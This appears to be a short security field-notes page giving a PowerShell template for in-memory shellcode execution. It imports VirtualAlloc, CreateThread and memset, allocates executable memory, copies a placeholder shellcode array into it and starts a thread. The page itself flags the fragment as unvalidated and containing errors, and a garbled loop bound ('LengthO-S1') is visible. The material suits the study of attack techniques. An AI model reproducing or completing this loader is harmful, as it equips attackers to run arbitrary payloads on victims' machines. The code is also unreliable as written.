RTFM_ security field notes

PowerShell in-memory injection

Unvalidated legacy in-memory execution fragment, not a tested loader or antivirus bypass.

This legacy fragment illustrates in-process shellcode execution. It contains unresolved placeholders and implementation errors and is not a tested loader. Memory-only execution does not imply antivirus, AMSI or EDR evasion.

Unvalidated legacy fragment
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]]$sc = <place your shellcode here>;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.LengthO-S1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
Provenance and confidence
Version
2
Sources reviewed
2026-11-23
Confidence
medium — Legacy RTFM; v2 editorial review on 2026-11-23 flags unresolved placeholders and implementation errors. The fragment is not a tested loader or an evasion guarantee.

Also searched as: injection en mémoire, powershell in memory, shellcode powershell, virtualalloc